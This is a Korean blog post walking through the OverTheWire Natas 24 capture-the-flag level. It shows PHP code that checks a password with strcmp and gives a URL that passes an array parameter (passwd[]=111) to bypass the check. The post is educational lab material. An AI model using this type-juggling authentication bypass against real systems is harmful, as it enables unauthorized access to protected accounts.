메뉴 건너뛰기

노루발의 개인 게시판

이번에도 password를 입력해야 한다. 소스를 보자:


    if(array_key_exists("passwd",$_REQUEST)){
        if(!strcmp($_REQUEST["passwd"],"<censored>")){
            echo "<br>The credentials for the next level are:<br>";
            echo "<pre>Username: natas25 Password: <censored></pre>";
        }
        else{
            echo "<br>Wrong!<br>";
        }
    }
    // morla / 10111


<censored> 부분을 포함하는지 알아야 하는데 알 방법이 없다...

그래서 strcmp 함수에 대해 찾던 도중 다음의 내용을 알게 되었다:


https://www.php.net/manual/en/function.strcmp.php


If you rely on strcmp for safe string comparisons, both parameters must be strings, the result is otherwise extremely unpredictable.
For instance you may get an unexpected 0, or return values of NULL, -2, 2, 3 and -3.

string이 아니면 결과가 Null값이 나올 수 있다고 한다.


        if(!strcmp($_REQUEST["passwd"],"<censored>")){

결과값을 비교하는 IF문은 True일 경우 password를 보여주고 False일 경우 wrong을 출력하게 되어 있지만

Null의 경우를 처리하지 않고 있다.


따라서 다음의 주소와 같이 passwd의 인자로 배열을 넘겨주면 다음 단계의 password를 볼 수 있다:

http://natas24.natas.labs.overthewire.org/?passwd[]=111

분류 :
망한거
조회 수 :
19
등록일 :
2020.03.17
00:17:50 (*.47.15.250)
엮인글 :
게시글 주소 :
https://hondoom.com/zbxe/index.php?mid=noru&document_srl=818148
파일 첨부

여기에 파일을 끌어 놓거나 파일 첨부 버튼을 클릭하세요.

파일 크기 제한 : 0MB (허용 확장자 : *.*)

0개 첨부 됨 ( / )
옵션 :
:
:
List of Articles
번호 제목 글쓴이 날짜 조회 수
36 망한거 (스포일러) Natas24 풀이 노루발 2020-03-19 48
» 망한거 (스포일러) Natas24 풀이 노루발 2020-03-17 19
34 망한거 (스포일러) Natas23 풀이 노루발 2020-03-13 16
33 망한거 (스포일러) Natas22 풀이 노루발 2020-03-13 10
32 망한거 (스포일러) Natas21 풀이 노루발 2020-03-13 13
31 망한거 (스포일러) Natas20 풀이 노루발 2020-03-13 16
30 망한거 (스포일러) Natas19 풀이 노루발 2020-03-13 14
29 망한거 (스포일러) Natas18 풀이 노루발 2020-03-12 9
28 망한거 (스포일러) Natas17 풀이 노루발 2020-03-12 16
27 망한거 (스포일러) Natas16 풀이 노루발 2020-03-12 18
26 망한거 (스포일러) Natas15 풀이 노루발 2020-03-11 21
25 망한거 (스포일러) Natas14 풀이 노루발 2020-03-10 12
24 망한거 (스포일러) Natas13 풀이 노루발 2020-03-10 7
23 망한거 (스포일러) Natas12 풀이 노루발 2020-03-08 15
22 망한거 (스포일러) Natas11 풀이 노루발 2020-03-07 19
21 망한거 (스포일러) Natas10 풀이 노루발 2020-03-07 13
20 망한거 (스포일러) Natas9 풀이 노루발 2020-03-06 11
19 망한거 (스포일러) Natas8 풀이 노루발 2020-03-06 8
18 망한거 (스포일러) Natas7 풀이 노루발 2020-03-06 10
17 망한거 (스포일러) Natas6 풀이 노루발 2020-03-06 9